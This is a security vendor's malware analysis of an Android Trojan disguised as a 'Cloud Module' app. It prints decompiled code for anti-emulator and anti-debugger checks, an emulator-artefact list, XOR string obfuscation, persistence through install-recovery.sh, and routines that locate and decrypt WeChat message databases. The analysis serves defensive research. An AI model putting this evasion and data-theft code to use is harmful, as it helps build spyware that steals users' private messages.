A Trojan with Hidden Malicious Code Steals User’s Messenger App Information

Trustlook Labs has discovered a Trojan which obfuscates its  configuration file and part of its modules. The purpose of the  content/file obfuscation is to avoid detection.

The malware has the following characteristics:

  • MD5: ade12f79935edead1cab00b45f9ca996
  • SHA256: 1413330f18c4237bfdc523734fe5bf681698d839327044d5864c9395f2be7fbe
  • Size: 1774802 bytes
  • App name: Cloud Module (in Chinese)
  • Package name: com.android.boxa

The malware uses the anti-emulator and debugger detection techniques to evade dynamic analysis.

public class a {
    public a() {
        super();
        if(!h.a() && (a.b())) {
            String v0 = "emulator\n";
            if(Environment.getExternalStorageState().equals("mounted")) {
                try {
                    File v2 = new File(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath()) + "/loge.txt");
                    if(!v2.exists()) {
                        v2.createNewFile();
                    }

                    String v1 = String.valueOf(new SimpleDateFormat("yyyyMMddHHmmss", Locale.CHINA).format(new Date(System.currentTimeMillis()))) + ":";
                    FileOutputStream v3 = new FileOutputStream(v2, true);
                    v3.write(v1.getBytes());
                    v3.write(v0.getBytes());
                    v3.close();
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            }

            Process.killProcess(Process.myPid());
            System.exit(1);
        }
 […]
    private static boolean b() {
        boolean v0_1;
        boolean v1 = false;
        try {
            v0_1 = a.c();
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_1 = false;
        }

        if((Debug.isDebuggerConnected()) || (v0_1) || (a.a.b.a()) || (a.a.b.b())) {
            v1 = true;
        }

        return v1;
}
[…]
  static {
        b.a = new String[]{"/dev/socket/qemud", "/dev/qemu_pipe"};
        b.b = new String[]{"/sys/qemu_trace", "/system/bin/androVM-prop", "/system/bin/microvirt-prop", "/system/lib/libdroid4x.so", "/system/bin/windroyed", "/system/bin/microvirtd", "/system/bin/nox-prop", "/system/bin/ttVM-prop", "/system/bin/droid4x-prop", "/data/.bluestacks.prop"};
        a[] v0 = new a[]{new a("init.svc.vbox86-setup", null), new a("init.svc.droid4x", null), new a("init.svc.su_kpbs_daemon", null), new a("init.svc.noxd", null), new a("init.svc.ttVM_x86-setup", null), new a("init.svc.xxkmsg", null), new a("init.svc.microvirtd", null), new a("ro.kernel.android.qemud", null), new a("androVM.vbox_dpi", null), new a("androVM.vbox_graph_mode", null), new a("ro.product.manufacturer", "Genymotion"), new a("init.svc.qemud", null), new a("init.svc.qemu-props", null), new a("qemu.hw.mainkeys", null), new a("qemu.sf.fake_camera", null), new a("qemu.sf.lcd_density", null), new a("ro.bootloader", "unknown"), new a("ro.bootmode", "unknown"), new a("ro.hardware", "goldfish"), new a("ro.kernel.android.qemud", null), new a("ro.kernel.qemu.gles", null), new a("ro.kernel.qemu", "1"), new a("ro.product.device", "generic"), new a("ro.product.model", "sdk"), new a("ro.product.name", "sdk"), new a("ro.serialno", null)};
    }

The malware attempts to hide the strings to avoid being detected. For  example, the following strings are stored in arrays and are XOR  encrypted with 24 to get the real strings:

g.a(new byte[]{117, 97, 80, 119, 107, 108}); //myHost
g.a = g.a(new byte[]{117, 97, 116, 113, 122}); //mylib
g.a(new byte[]{55, 104, 106, 119, 123, 55, 123, 104, 109, 113, 118, 126, 119}); ///proc/cpuinfo
g.a(new byte[]{121, 121, 106, 123, 112, 46, 44}); //aarch64
g.b = g.a(new byte[]{124, 121, 108}); //dat
g.c = g.a(new byte[]{119, 96});ox
g.d = g.a(new byte[]{113, 118, 126, 54, 94, 121, 123, 125, 81, 118, 107, 108, 121, 118, 123, 125}); //inf.FaceInstance
g.e = g.a(new byte[]{54, 114, 121, 106}); // .jar
g.f = g.a(new byte[]{116, 123, 54, 124, 121, 108}); // lc.dat
g.a(new byte[]{124, 125, 122, 109, 127, 54, 108, 96, 108}); // debug.txt
g.g = g.a(new byte[]{109, 118, 113, 118, 107}); //unins

The malware also includes some modules in its Assets folder, and all the modules are encrypted.

For some modules, including “coso”, “dmnso”, “sx”, “sy”, the malware  uses the first byte in the module to XOR decrypt the data. For example,  take notice of the original module “coso” in the Assets folder:

After decryption, it turns out an ELF module:

The lc.dat is the configuration file, which is XOR decrypted with 137. For example:

After decryption:

The configuration file contains the C&C server and other values  that the malware uses to contact its controller. An example request sent  by the malware is shown below:

If the Android SDK version is less than 16, the malware loads “sy”  module from Assets, otherwise it loads “sx” module. These modules  attempt to modify the “/system/etc/install-recovery.sh” file to maintain  persistence on the device.

It also has functions to steal the user’s messenger app information. The malware collects information from the following apps:

  • Tencent WeChat
  • Weibo
  • Voxer Walkie Talkie Messenger
  • Telegram Messenger
  • Gruveo Magic Call
  • Twitter
  • Line
  • Coco
  • BeeTalk
  • TalkBox Voice Messenger
  • Viber
  • Momo
  • Facebook Messenger
  • Skype

The following code snippets are used to retrieve data from WeChat:

v4 = a3;
  v5 = a1;
  v13 = a4;
  v6 = a2;
  j_memset(&v16, 0, 0xFFu);
  j_sprintf(&v16, "/data/data/com.tencent.mm/MicroMsg/%s/cdndnsinfo", v6);
  v7 = sub_107A0((int)&v16);
  *v4 = v7;
  if ( !v7 )
  {
    j_strcpy(&v16, "/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");
    *v4 = sub_10F98((int)&v16);
  }
  j_memset(&v17, 0, 0x200u);
  j_memset(v15, 0, 0x10u);
  if ( j_strlen(v5) <= 4 )
    j_strcpy(v5, (const char *)&unk_5E688);
  j_sprintf(&v17, "%s%d", v5, *v4, v13);
  v8 = j_strlen(&v17);
  sub_106FC(&v17, v8, (int)v15);
  v9 = 0;
  do
  {
    v10 = (unsigned __int8)v15[v9];
    v11 = v14 + 2 * v9++;
    j_sprintf(v11, "%02x", v10);
  }
  while ( v9 != 16 );
  j_sscanf();
  return 0;
}
[…]
j_sprintf(&v102, "/data/data/%s/files/libmmcrypto.so", &unk_5E6BA);
  j_chmod(&v103, 511);
  j_memcpy(&v98, &unk_54E77, 0x21u);
  j_memset(v99, 0, 0xDEu);
  j_strcat(&v98, (const char *)&unk_5E6BA);
[…]
  j_strcat(&v98, "/files/%u.sql'");
  j_sprintf(&v109, &v98, &v103, &v102, &v100, v4, &v42, v5, &v109, &v102);
  j_memset(&v104, 0, 0x200u);
  v105 = 1836409902;
  v106 = 112;
  j_memset(&v107, 0, 0x1F8u);
  j_sprintf(&v104, "%s/%u.sql", &unk_5E624, v5);
  j_strcat((char *)&v105, (const char *)&v104);
  j_memcpy(&v94, &unk_54F76, 0x1Cu);
  j_memset(&v95, 0, 0x48u);
  j_memcpy(&v96, &unk_54FDA, 0xDu);
  j_memset(v97, 0, 0x57u);
  j_strcat(&v96, v4);
  j_strcat(&v96, "\";");
  v7 = &v103;
  v8 = &v102;
  v11 = &v94;
  v9 = &v100;
  v12 = &v105;
  v10 = &v96;
  sub_DC64(6, &v7);
  j_chmod(&v104, 511);
  j_memset(&v108, 0, 0x200u);
  j_sprintf(&v108, "%s/sns.db", &unk_5E624);
  sub_E7D0(&v101, &v108);
  j_chmod(&v108, 511);
  j_printf("szsqlite:%s\n", &v103);
  j_printf("szlibmmcrypto:%s\n", &v102);
  j_printf("szDBPath:%s\n", &v100);
  j_printf("szPRAGMAkey:%s\n", &v96);
  return j_printf("sqlDbPath2:%s\n", &v105);
[…]
v10 = a1;
  result = j_opendir("/data/data/com.tencent.mm/MicroMsg");
  v2 = result;
  if ( result )
  {
    v9 = 0;
    while ( 1 )
    {
      v4 = j_readdir(v2);
      v5 = v4;
      if ( !v4 )
        break;
      v3 = (const char *)(v4 + 19);
      if ( j_strcmp(".", (const char *)(v4 + 19)) )
      {
        if ( j_strcmp("..", (const char *)(v5 + 19)) )
        {
          if ( sub_E8A0("/data/data/com.tencent.mm/MicroMsg", v5) )
          {
            j_memset(&v13, 0, 0xFFu);
            j_sprintf(&v13, "%s/%s/EnMicroMsg.db", "/data/data/com.tencent.mm/MicroMsg", v3);
            if ( !j_access(&v13, 0) )
            {
              j_memset(&v14, 0, 0xFFu);
              j_sprintf(&v14, "%s/%s", "/data/data/com.tencent.mm/MicroMsg", v3);
[…]
              {
                j_strcpy(v10, v3);
                v9 = v8;
              }
            }
          }
        }
      }
}

Summary
Code obfuscation/hiding increases the malware author’s ability  to avoid detection and becomes a sophisticated challenge to anti-virus  software. Trustlook was able to gather deep insights and knowledge of  the malware behavior of this kind of malware. Trustlook’s anti-threat  platform can effectively protect users against this invasion.